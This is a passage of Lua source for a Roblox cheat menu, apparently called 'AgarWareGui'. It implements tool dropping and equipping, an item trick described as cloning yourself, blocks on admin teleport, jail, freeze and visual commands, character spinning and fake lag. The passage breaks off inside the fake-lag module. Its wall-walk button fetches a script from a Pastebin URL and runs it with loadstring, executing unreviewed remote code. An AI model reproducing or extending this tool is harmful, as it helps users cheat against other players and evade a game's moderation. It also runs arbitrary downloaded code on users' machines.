-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.ToolsScript
local function C_df()
local script = G2L["df"];
-- ============================================================
-- TOOLS GROUP MASTER SCRIPT
-- Place this script directly under ToolsGroup
-- Handles: Minimize, Drop All, Equip All, Equip Enlighten + Tooltip
-- ============================================================
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local ToolsGroup = script.Parent
local ToolsMinimize = ToolsGroup.ToolsTitle.ToolsMinimize
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = ToolsGroup
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
return game:GetService("CoreGui")
end
-- ============================================================
-- TOOLTIP CREATOR
-- ============================================================
local function createTooltip(name, text, parent)
local frame = Instance.new("Frame")
frame.Name = name
frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57, 57, 57)
stroke.Thickness = 1
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
if parent then
parent.MouseEnter:Connect(function()
local abs = parent.AbsolutePosition
local size = parent.AbsoluteSize
frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
frame.Visible = true
end)
parent.MouseLeave:Connect(function()
frame.Visible = false
end)
end
return frame
end
-- ============================================================
-- MINIMIZE FUNCTIONALITY
-- ============================================================
local function getRows()
local rows = {}
for _, child in ipairs(ToolsGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = ToolsGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
ToolsMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
ToolsGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
ToolsMinimize.Text = "+"
else
ToolsGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
ToolsMinimize.Text = "-"
end
end)
-- ============================================================
-- DROP ALL BUTTON
-- ============================================================
local DropAllRow = ToolsGroup:FindFirstChild("DropAllRow")
if DropAllRow then
local DropAllButton = DropAllRow:FindFirstChild("DropAllButton")
if DropAllButton then
DropAllButton.MouseButton1Click:Connect(function()
-- Move all tools from backpack to character
for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do
if v:IsA("Tool") then
v.Parent = LocalPlayer.Character
end
end
task.wait()
-- Drop all tools from character to workspace
for _, v in pairs(LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then
v.Parent = workspace
end
end
end)
end
end
-- ============================================================
-- EQUIP ALL BUTTON
-- ============================================================
local EquipAllRow = ToolsGroup:FindFirstChild("EquipAllRow")
if EquipAllRow then
local EquipAllButton = EquipAllRow:FindFirstChild("EquipAllButton")
if EquipAllButton then
EquipAllButton.MouseButton1Click:Connect(function()
-- Move all tools from backpack to character (equips them)
for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do
if v:IsA("Tool") then
v.Parent = LocalPlayer.Character
end
end
end)
end
end
-- ============================================================
-- EQUIP ENLIGHTEN BUTTON + TOOLTIP
-- ============================================================
local EquipEnlightenRow = ToolsGroup:FindFirstChild("EquipEnlightenRow")
if EquipEnlightenRow then
local EquipEnlightenButton = EquipEnlightenRow:FindFirstChild("EquipEnlightenButton")
local EquipEnlightenHelp = EquipEnlightenRow:FindFirstChild("EquipEnlightenHelp")
if EquipEnlightenButton then
EquipEnlightenButton.MouseButton1Click:Connect(function()
-- Find ALL The Arkenstone in backpack and equip them
for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do
if v:IsA("Tool") and v.Name == "The Arkenstone" then
v.Parent = LocalPlayer.Character
end
end
end)
end
-- Tooltip for EquipEnlightenHelp
if EquipEnlightenHelp then
createTooltip(
"EquipEnlightenTooltip",
"Equips enlighten without unequipping other tools. This can be used to clone yourself with a boombox or other stuff.",
EquipEnlightenHelp
)
end
end
-- ============================================================
-- ADD MORE BUTTONS OR TOOLTIPS HERE
-- ============================================================
--[[
TEMPLATE FOR NEW BUTTON:
local YourRow = ToolsGroup:FindFirstChild("YourRow")
if YourRow then
local YourButton = YourRow:FindFirstChild("YourButton")
if YourButton then
YourButton.MouseButton1Click:Connect(function()
-- Your code here
end)
end
end
================================================================================
TEMPLATE FOR NEW TOOLTIP:
local YourHelp = YourRow:FindFirstChild("YourHelp")
if YourHelp then
createTooltip(
"YourTooltipName",
"Your tooltip text here",
YourHelp
)
end
================================================================================
]]
-- ============================================================
-- CLEANUP
-- ============================================================
local tooltips = {}
for _, tooltip in pairs(getScreenGui():GetChildren()) do
if tooltip.Name:match("Tooltip") then
table.insert(tooltips, tooltip)
end
end
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
for _, tooltip in pairs(tooltips) do
tooltip:Destroy()
end
end
end)
end;
task.spawn(C_df);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiScript
local function C_ee()
local script = G2L["ee"];
-- ============================================================
-- ANTI GROUP MASTER SCRIPT
-- Place this script directly under AntiGroup
-- All Anti features are defined at the bottom - easy to add new ones
-- ============================================================
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local StarterGui = game:GetService("StarterGui")
local Lighting = game:GetService("Lighting")
local LocalPlayer = Players.LocalPlayer
local AntiGroup = script.Parent
local AntiAccentColor = AntiGroup:FindFirstChild("AntiAccentColor")
-- ============================================================
-- MINIMIZE FUNCTIONALITY
-- ============================================================
local AntiMinimize = AntiGroup:FindFirstChild("AntiTitle")
if AntiMinimize then
AntiMinimize = AntiMinimize:FindFirstChild("AntiMinimize")
end
local function getRows()
local rows = {}
for _, child in ipairs(AntiGroup:GetChildren()) do
if child:IsA("Frame") and string.sub(child.Name, -3) == "Row" then
table.insert(rows, child)
end
end
return rows
end
if AntiMinimize then
local isMinimized = false
local originalSize = AntiGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
AntiMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
AntiGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
AntiMinimize.Text = "+"
else
AntiGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
AntiMinimize.Text = "-"
end
end)
end
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = AntiGroup
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
return game:GetService("CoreGui")
end
-- ============================================================
-- TOOLTIP CREATOR
-- ============================================================
local function createTooltip(name, text)
local frame = Instance.new("Frame")
frame.Name = name
frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57, 57, 57)
stroke.Thickness = 1
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
return frame
end
-- ============================================================
-- ANTI FEATURE SETUP
-- ============================================================
local activeFeatures = {}
local function setupAnti(config)
local rowName = config.row
local tickBoxName = config.tickBox
local tooltipText = config.tooltip
local onEnable = config.onEnable
local onDisable = config.onDisable
local loop = config.loop
local row = AntiGroup:FindFirstChild(rowName)
if not row then
warn("Row not found:", rowName)
return
end
local tickBox = row:FindFirstChild(tickBoxName)
if not tickBox then
warn("TickBox not found:", tickBoxName)
return
end
local isEnabled = false
local loopConnection = nil
tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
-- Create tooltip
local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText)
tickBox.MouseEnter:Connect(function()
local abs = tickBox.AbsolutePosition
local size = tickBox.AbsoluteSize
tooltip.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltip.Visible = true
end)
tickBox.MouseLeave:Connect(function()
tooltip.Visible = false
end)
-- Enable function
local function enable()
isEnabled = true
if AntiAccentColor then
tickBox.BackgroundColor3 = AntiAccentColor.BackgroundColor3
else
tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
end
if onEnable then
onEnable()
end
if loop then
loopConnection = RunService.Heartbeat:Connect(function()
if isEnabled then
pcall(loop)
end
end)
end
end
-- Disable function
local function disable()
isEnabled = false
tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
if loopConnection then
loopConnection:Disconnect()
loopConnection = nil
end
if onDisable then
onDisable()
end
end
-- Click handler
tickBox.MouseButton1Click:Connect(function()
if isEnabled then
disable()
else
enable()
end
end)
-- Expose to shared
local featureName = rowName:gsub("Row", "")
shared[featureName .. "Enable"] = enable
shared[featureName .. "Disable"] = disable
-- Store for cleanup
table.insert(activeFeatures, {
tooltip = tooltip,
disable = disable,
connection = loopConnection
})
return {
enable = enable,
disable = disable,
isEnabled = function() return isEnabled end
}
end
-- ============================================================
-- DEFINE ALL ANTI FEATURES HERE
-- ============================================================
-- Anti Teleport (Anti Glitch/Fling)
local lastPosition = nil
setupAnti({
row = "AntiTeleportRow",
tickBox = "AntiTeleportTickBox",
tooltip = "Prevents you from being teleported. Using TP scripts or commands won't work if anti teleport is enabled.",
onEnable = function()
lastPosition = nil
end,
onDisable = function()
lastPosition = nil
end,
loop = function()
local character = LocalPlayer.Character
if not character then return end
local root = character:FindFirstChild("HumanoidRootPart")
if not root then return end
if lastPosition then
local distance = (root.Position - lastPosition).Magnitude
if distance > 15 then
root.CFrame = CFrame.new(lastPosition)
end
end
lastPosition = root.Position
end
})
-- Anti Vamp
setupAnti({
row = "AntiVampRow",
tickBox = "AntiVampTickBox",
tooltip = "Prevents Vampire Vanquisher gear from locking your camera and inventory.",
loop = function()
if LocalPlayer.Character then
local humanoid = LocalPlayer.Character:FindFirstChild("Humanoid")
if humanoid and humanoid.Health > 0 then
pcall(function()
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
end)
workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
workspace.CurrentCamera.CameraSubject = humanoid
end
end
end
})
-- Anti Freeze
local isResetting = false
setupAnti({
row = "AntiFreezeRow",
tickBox = "AntiFreezeTickBox",
tooltip = "Automatically resets your character when you get frozen.",
onDisable = function()
isResetting = false
end,
loop = function()
local char = workspace:FindFirstChild(LocalPlayer.Name)
if not char then return end
if char:FindFirstChild("Hielo") and not isResetting then
isResetting = true
if shared.ResetCharacter then
shared.ResetCharacter()
end
LocalPlayer.CharacterAdded:Wait()
task.wait(0.2)
isResetting = false
end
end
})
-- Anti Visual
setupAnti({
row = "AntiVisualRow",
tickBox = "AntiVisualTickBox",
tooltip = "Prevents visual commands from affecting your screen. Blocks out myopic, blind, fog and colorless",
loop = function()
-- Anti Myopic
local blur = Lighting:FindFirstChild("Blur")
if blur then blur.Enabled = false end
-- Anti Blind
local playerGui = LocalPlayer:FindFirstChild("PlayerGui")
if playerGui then
local blind = playerGui:FindFirstChild("Blind")
if blind then
local frame = blind:FindFirstChildOfClass("Frame")
if frame then
frame.BackgroundTransparency = 1
end
end
end
-- Anti Fog
local fog = Lighting:FindFirstChild("Fog")
if fog then fog.Density = 0 end
-- Anti Colorless
local rgb = Lighting:FindFirstChild("RGB")
if rgb then rgb.Enabled = false end
end
})
-- Anti Jail
setupAnti({
row = "AntiJailRow",
tickBox = "AntiJailTickBox",
tooltip = "Prevents the jail command from trapping you. Other players can see your jail cell on their screens",
loop = function()
local char = workspace:FindFirstChild(LocalPlayer.Name)
if not char then return end
local jail = char:FindFirstChild("Jail")
if not jail then return end
for _, part in pairs(jail:GetChildren()) do
if part:IsA("BasePart") and part.Name == "Part" then
part.CanCollide = false
part.Transparency = 1
end
end
end
})
-- Anti Nan
local nanConnection = nil
local function isNaN(n) return n ~= n end
local function isSafe(cf)
local p = cf.Position
return not (isNaN(p.X) or isNaN(p.Y) or isNaN(p.Z) or
math.abs(p.X) == math.huge or
math.abs(p.Y) == math.huge or
math.abs(p.Z) == math.huge or
math.abs(p.Y) > 500000)
end
local function isVoided()
local spawn = workspace:FindFirstChild("Spawn")
if not spawn then return false end
local acm = spawn.AssemblyCenterOfMass
return acm.X == 0 and acm.Y == -1000000 and acm.Z == 0
end
local function onCharacterAdded(character)
local hrp = character:WaitForChild("HumanoidRootPart")
if not isVoided() then return end
hrp.Anchored = true
task.wait(0.1)
hrp.CFrame = CFrame.new(0, 3, 0)
hrp.Anchored = false
end
setupAnti({
row = "AntiNanRow",
tickBox = "AntiNanTickBox",
tooltip = "Prevents respawning in the void when Spawn is in the void, maptide NaN.",
onEnable = function()
nanConnection = LocalPlayer.CharacterAdded:Connect(onCharacterAdded)
if LocalPlayer.Character then
onCharacterAdded(LocalPlayer.Character)
end
end,
onDisable = function()
if nanConnection then
nanConnection:Disconnect()
nanConnection = nil
end
end
})
-- ============================================================
-- ADD NEW ANTI FEATURES HERE - COPY THIS TEMPLATE:
-- ============================================================
-- Anti Glitch variables
local lastPosition = nil
local hasTeleportedBack = false
-- Anti Glitch
setupAnti({
row = "AntiGlitchRow",
tickBox = "AntiGlitchTickBox",
tooltip = "Prevents being glitched.",
onEnable = function()
lastPosition = nil
hasTeleportedBack = false
end,
onDisable = function()
lastPosition = nil
hasTeleportedBack = false
end,
loop = function()
local character = LocalPlayer.Character
if not character then return end
local root = character:FindFirstChild("HumanoidRootPart")
if not root then return end
if not lastPosition then
lastPosition = root.Position
hasTeleportedBack = false
return
end
local currentPos = root.Position
-- Check if X coordinate is 1234567 (or very close to it)
if math.abs(currentPos.X - 1234567) < 5 and not hasTeleportedBack then
-- Teleported to the bad zone, send back
root.CFrame = CFrame.new(lastPosition)
hasTeleportedBack = true
print("[Anti Glitch] Blocked teleport to 1234567 zone")
elseif math.abs(currentPos.X - 1234567) >= 5 then
-- Not in the bad zone anymore, reset flag and update position
hasTeleportedBack = false
lastPosition = currentPos
end
end
})
--[[
TEMPLATE FOR NEW FEATURES:
setupAnti({
row = "AntiTestRow",
tickBox = "AntiTestTickBox",
tooltip = "This is what the tooltip says",
onEnable = function()
-- Code to run when enabled (optional)
end,
onDisable = function()
-- Code to run when disabled (optional)
end,
loop = function()
-- Code that runs continuously while enabled (optional)
-- This runs every frame (Heartbeat)
end
})
]]--
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
for _, feature in pairs(activeFeatures) do
if feature.tooltip then
feature.tooltip:Destroy()
end
if feature.disable then
feature.disable()
end
end
end
end)
end;
task.spawn(C_ee);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.Misc1Script
local function C_10e()
local script = G2L["10e"];
local Misc1Group = script.Parent
local Misc1Minimize = Misc1Group.Misc1Title.Misc1Minimize
local function getRows()
local rows = {}
for _, child in ipairs(Misc1Group:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = Misc1Group.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
Misc1Minimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
Misc1Group.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
Misc1Minimize.Text = "+"
else
Misc1Group.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
Misc1Minimize.Text = "-"
end
end)
end;
task.spawn(C_10e);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.WWalkRow.WWalkScript
local function C_114()
local script = G2L["114"];
-- ============================================================
-- SCRIPT START
-- ============================================================
local WWalkRow = script.Parent
local WWalkButton = WWalkRow.WWalkButton
local MiscGroup = WWalkRow.Parent
local MiscAccentColor = MiscGroup.MiscAccentColor
local player = game.Players.LocalPlayer
local RunService = game:GetService("RunService")
local UserGameSettings = UserSettings():GetService("UserGameSettings")
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
-- ============================================================
-- TOOLTIP SETUP
-- ============================================================
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local tooltipStroke = Instance.new("UIStroke", tooltipFrame)
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
local tooltipPadding = Instance.new("UIPadding", tooltipFrame)
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
local tooltipLabel = Instance.new("TextLabel", tooltipFrame)
tooltipLabel.BackgroundTransparency = 1
tooltipLabel.Text = "Allows you to walk on walls and ceilings. THIS IS UNDO-ABLE, REJOINING WILL FIX IT"
tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
tooltipLabel.TextSize = 14
tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
tooltipLabel.Font = Enum.Font.GothamSemibold
tooltipLabel.TextWrapped = true
tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
tooltipLabel.ZIndex = 101
local WWalkHelp = WWalkRow.WWalkHelp
WWalkHelp.MouseEnter:Connect(function()
local abs = WWalkHelp.AbsolutePosition
local size = WWalkHelp.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
WWalkHelp.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
-- ============================================================
-- BUTTON TEXT HELPERS
-- ============================================================
local originalText = WWalkButton.Text
local function setButtonText(text, useTextScaled)
WWalkButton.Text = text
WWalkButton.Font = Enum.Font.Inconsolata
WWalkButton.TextScaled = useTextScaled or false
end
local function resetButtonText()
WWalkButton.Text = originalText
WWalkButton.Font = Enum.Font.Inconsolata
WWalkButton.TextScaled = false
end
-- ============================================================
-- CAMERA SETTINGS
-- ============================================================
-- Saved BEFORE executing so we can restore them after reset
local savedMinZoom = player.CameraMinZoomDistance
local savedMaxZoom = player.CameraMaxZoomDistance
local savedSensitivity = UserGameSettings.GamepadCameraSensitivity
-- ── ZOOM LIMITS ──────────────────────────────────────────────
-- How close/far the camera can be while wall walk is active.
-- ZOOM_MIN must stay >= 0.5. The transparency fade kicks in under
-- 2 studs — the loop below overrides that so you stay visible.
local ZOOM_MIN = 0.5 -- << change this to adjust how close you can zoom
local ZOOM_MAX = 128 -- << change this to adjust how far you can zoom out
-- ── SENSITIVITY ──────────────────────────────────────────────
-- The wall walk script can mess up your camera sensitivity after reset.
-- Set USE_MANUAL_SENSITIVITY = true and set MANUAL_SENSITIVITY to your
-- preferred value to force it back on reset.
-- Default Roblox mobile sensitivity is around 2. Range: 0.1 to 10.
local USE_MANUAL_SENSITIVITY = false -- << set true to force a fixed value
local MANUAL_SENSITIVITY = 2 -- << your preferred sensitivity (0.1–10)
-- ============================================================
-- STATE
-- ============================================================
local isExecuted = false
local debounce = false
local zoomLoopConn = nil
-- ============================================================
-- PER-FRAME LOOP
-- Runs every frame while wall walk is active:
-- 1. Keeps zoom min/max unlocked so you can zoom in and out freely
-- 2. Resets LocalTransparencyModifier on all character parts every
-- frame so the wall walk camera can never make you invisible
-- ============================================================
local function startLoop()
if zoomLoopConn then return end
zoomLoopConn = RunService.RenderStepped:Connect(function()
-- Keep zoom range free
if player.CameraMinZoomDistance ~= ZOOM_MIN then
player.CameraMinZoomDistance = ZOOM_MIN
end
if player.CameraMaxZoomDistance ~= ZOOM_MAX then
player.CameraMaxZoomDistance = ZOOM_MAX
end
-- Prevent character from going invisible on your screen.
-- The wall walk camera sets LocalTransparencyModifier > 0 when
-- you zoom in. We reset it to 0 every frame to undo that.
local char = player.Character
if char then
for _, part in ipairs(char:GetDescendants()) do
if part:IsA("BasePart") and part.LocalTransparencyModifier ~= 0 then
part.LocalTransparencyModifier = 0
end
end
end
end)
end
local function stopLoop()
if zoomLoopConn then
zoomLoopConn:Disconnect()
zoomLoopConn = nil
end
end
-- ============================================================
-- RESTORE CAMERA (called on reset/death/script remove)
-- ============================================================
local function restoreCamera()
stopLoop()
player.CameraMinZoomDistance = savedMinZoom
player.CameraMaxZoomDistance = savedMaxZoom
if USE_MANUAL_SENSITIVITY then
UserGameSettings.GamepadCameraSensitivity = MANUAL_SENSITIVITY
else
UserGameSettings.GamepadCameraSensitivity = savedSensitivity
end
end
-- On character reset or death, restore camera and reset button
player.CharacterAdded:Connect(function()
restoreCamera()
isExecuted = false
debounce = false
resetButtonText()
end)
-- ============================================================
-- BUTTON CLICK
-- ============================================================
WWalkButton.MouseButton1Click:Connect(function()
-- While showing "Executed!" text: clicking just resets text, no re-run
if isExecuted then
isExecuted = false
debounce = false
resetButtonText()
return
end
if debounce then return end
debounce = true
-- Snapshot camera settings right before executing
savedMinZoom = player.CameraMinZoomDistance
savedMaxZoom = player.CameraMaxZoomDistance
savedSensitivity = UserGameSettings.GamepadCameraSensitivity
local ok, err = pcall(function()
loadstring(game:HttpGet("https://pastebin.com/raw/zXk4Rq2r"))()
end)
if ok then
isExecuted = true
setButtonText("Executed! Please reset to turn it off", true)
-- Start the frame loop to keep zoom working and char visible
startLoop()
else
-- Failed: show message 3 seconds then auto-reset
setButtonText("Failed to Execute", false)
task.wait(3)
if not isExecuted then
resetButtonText()
debounce = false
end
end
end)
-- ============================================================
-- CLEANUP ON SCRIPT REMOVE
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
restoreCamera()
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_114);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow.SpinScript
local function C_118()
local script = G2L["118"];
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local SpinRow = script.Parent
local SpinTickBox = SpinRow.SpinTickBox
local SpinChanger = SpinRow.SpinChanger
local MiscGroup = SpinRow.Parent
local MiscAccentColor = MiscGroup.MiscAccentColor
local isEnabled = false
local spinConnection = nil
local spinSpeed = 1
local function getAccent()
return MiscAccentColor.BackgroundColor3
end
local function getScreenGui()
local parent = SpinRow
while parent do
if parent:IsA("ScreenGui") then return parent end
parent = parent.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.Name = "SpinTooltip"
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.XY
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local tooltipStroke = Instance.new("UIStroke")
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
tooltipStroke.Thickness = 1
tooltipStroke.Parent = tooltipFrame
local tooltipPadding = Instance.new("UIPadding")
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
tooltipPadding.Parent = tooltipFrame
local tooltipText = Instance.new("TextLabel")
tooltipText.BackgroundTransparency = 1
tooltipText.Text = "Spins your character"
tooltipText.TextColor3 = Color3.new(1, 1, 1)
tooltipText.TextSize = 14
tooltipText.TextXAlignment = Enum.TextXAlignment.Left
tooltipText.TextYAlignment = Enum.TextYAlignment.Top
tooltipText.Font = Enum.Font.GothamSemibold
tooltipText.TextWrapped = true
tooltipText.AutomaticSize = Enum.AutomaticSize.XY
tooltipText.Size = UDim2.new(0, 200, 0, 0)
tooltipText.ZIndex = 101
tooltipText.Parent = tooltipFrame
SpinTickBox.MouseEnter:Connect(function()
local abs = SpinTickBox.AbsolutePosition
local size = SpinTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
SpinTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
SpinChanger.FocusLost:Connect(function()
local num = tonumber(SpinChanger.Text)
if num and num > 0 then
spinSpeed = num
else
SpinChanger.Text = tostring(spinSpeed)
end
end)
local function enableSpin()
isEnabled = true
SpinTickBox.BackgroundColor3 = getAccent()
local angle = 0
spinConnection = RunService.RenderStepped:Connect(function(dt)
local char = LocalPlayer.Character
if not char then return end
local hrp = char:FindFirstChild("HumanoidRootPart")
if not hrp then return end
angle = angle + (-spinSpeed * 3 * dt * 60)
hrp.CFrame = CFrame.new(hrp.Position) * CFrame.Angles(0, math.rad(angle), 0)
end)
end
local function disableSpin()
isEnabled = false
SpinTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
if spinConnection then
spinConnection:Disconnect()
spinConnection = nil
end
end
SpinTickBox.MouseButton1Click:Connect(function()
if isEnabled then
disableSpin()
else
enableSpin()
end
end)
LocalPlayer.CharacterAdded:Connect(function()
if isEnabled then
if spinConnection then
spinConnection:Disconnect()
spinConnection = nil
end
task.wait(0.5)
enableSpin()
end
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
disableSpin()
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_118);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow.FakeLagScript
local function C_11d()
local script = G2L["11d"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local FakeLagRow = script.Parent
local FakeLagTickBox = FakeLagRow.FakeLagTickBox
local FakeLagChanger = FakeLagRow.FakeLagChanger
local MiscGroup = FakeLagRow.Parent
local MiscAccentColor = MiscGroup.MiscAccentColor
local isEnabled = false
local lagLoop = nil
local lagSpeed = 1
local function getAccent()
return MiscAccentColor.BackgroundColor3
end
local function getScreenGui()
local parent = FakeLagRow
while parent do
if parent:IsA("ScreenGui") then return parent end
parent = parent.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.Name = "FakeLagTooltip"
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.XY
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local tooltipStroke = Instance.new("UIStroke")
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
tooltipStroke.Thickness = 1
tooltipStroke.Parent = tooltipFrame
local tooltipPadding = Instance.new("UIPadding")
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
tooltipPadding.Parent = tooltipFrame
local tooltipText = Instance.new("TextLabel")
tooltipText.BackgroundTransparency = 1
tooltipText.Text = "Simulates lag by freezing your character. Lower speed = more lag."
tooltipText.TextColor3 = Color3.new(1, 1, 1)
tooltipText.TextSize = 14
tooltipText.TextXAlignment = Enum.TextXAlignment.Left
tooltipText.TextYAlignment = Enum.TextYAlignment.Top
tooltipText.Font = Enum.Font.GothamSemibold
tooltipText.TextWrapped = true
tooltipText.AutomaticSize = Enum.AutomaticSize.XY
tooltipText.Size = UDim2.new(0, 200, 0, 0)
tooltipText.ZIndex = 101
tooltipText.Parent = tooltipFrame
FakeLagTickBox.MouseEnter:Connect(function()
local abs = FakeLagTickBox.AbsolutePosition
local size = FakeLagTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
FakeLagTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
